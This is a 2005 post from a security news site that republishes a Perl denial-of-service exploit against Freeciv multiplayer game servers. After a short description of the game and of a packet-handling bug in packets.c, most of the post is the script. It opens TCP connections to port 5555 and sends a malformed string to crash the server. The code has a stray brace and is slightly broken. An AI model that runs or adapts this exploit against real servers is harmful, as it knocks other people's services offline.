Press CTRL-D to bookmark us
Welcome Guest Login / Register / Members
Search in  
Top Submit newsSubscribe
Communication | Computer Crime | Digital Audio, Video, Photo | General News | Hardware | Internet | Mobile | PDA | Security | Software | Vulnerability |


Previous articleBack to news listNext article
 

 Sponsored links

Want to become one of our authors and see your work published on ALLSeek.iNFO ?
 
 Freeciv Server DoS Exploit
Categorie: Vulnerability
Posted: 2005-03-27 by basher13
Views: 808

 
Current Rating: Not rated
Poor Best
 Details
Update:
10:38 PM 3/27/2005


Subject:
" Freeciv Server DoS Exploit "



Description:
Freeciv is a free turn-based multiplayer strategy game, in which each player
becomes the leader of a civilization, fighting to obtain the ultimate goal:

To become the greatest civilization.

Players of the Civilization® series by Microprose® should feel at home, since one
aim of Freeciv is to have modes with compatible rules.

Freeciv is maintained by an international team of coders and enthusiasts, and is easily
one of the most fun and addictive network games out there!

It also means it has very extensive multilanguage support, something rare in games.




Vulnerability:
There is a vulnerability in the handling of incoming data. If the request
is uncomplete or modified, the server crashes because of a bug in the
get_packet_from_connection function in packets.c.



Exploit:

#!/usr/bin/perl
# Freeciv Server DoS Exploit
# --------------------------
#
# Greats:Nico Spicher (has discovered bug)
# info: 98.to/infamous


use IO::Socket;
$host=$ARGV[0];
$port=5555;

if(!$ARGV[0]){
print "Freeciv Server DoS Exploit\n";
print "==========================\n";
print "INFGP-Hacking&Security Research\n";
print "[^]\n\n";
print "Usage:perl $0 [target]\n";
}

use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, );
close($socket);
if($socket){
print "[+]Attacking host..\n";
}


$conn = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Host not found\n";

print "[+]Connect on $port\n\n";

print "[+]Creating string\n";

$line="@+2.0 conn_ping_info username_info-beta8";

print "[+]String sent..\n\n";

print $conn "$line";
close($conn);

}

print "Server killed\n";
exit();



Vendor URL:
http://www.freeciv.org/






 
Syndication
Permalink Email this

The URI to TrackBack this entry is:
http://allseek.info/news/trackback.php?id=1452

User comments (post your comments here)

Only registerd members can post comments and articles
 

Previous articleBack to news listNext article
 



InterJOB.su

SpyLOG Page Rank Checker
LAST QUERIES